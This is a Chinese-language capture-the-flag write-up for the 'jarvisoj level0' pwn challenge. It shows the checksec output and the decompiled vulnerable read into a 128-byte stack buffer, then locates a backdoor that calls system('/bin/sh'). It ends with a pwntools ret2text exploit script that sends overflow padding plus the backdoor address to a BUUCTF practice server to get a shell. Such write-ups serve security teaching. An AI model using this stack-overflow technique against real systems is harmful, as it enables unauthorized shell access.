jarvisoj level0

前提

查看文件保护

root@localhost ~# checksec level0
[*] '/root/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态分析

主函数输出了一句Hello, World，接着调用vulnerable_function函数，该函数如下

ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}

查找函数表发现后门函数callsystem

int callsystem()
{
  return system("/bin/sh");
}

思路分析

1. 目前信息
   • 栈上变量buf处可写入0x200字节数据
   • buf距离返回地址的偏移为0x80+8
2. 思路
   • 可写入字节数已经大于偏移量，可直接进行栈溢出将返回地址修改为后门函数的地址

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/jarvisoj_level0/level0'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 27710)
padding = 0x80+8
backdoor = 0x40059A
io.recv()
payload = flat(['a'*padding, backdoor])
io.sendline(payload)
io.interactive()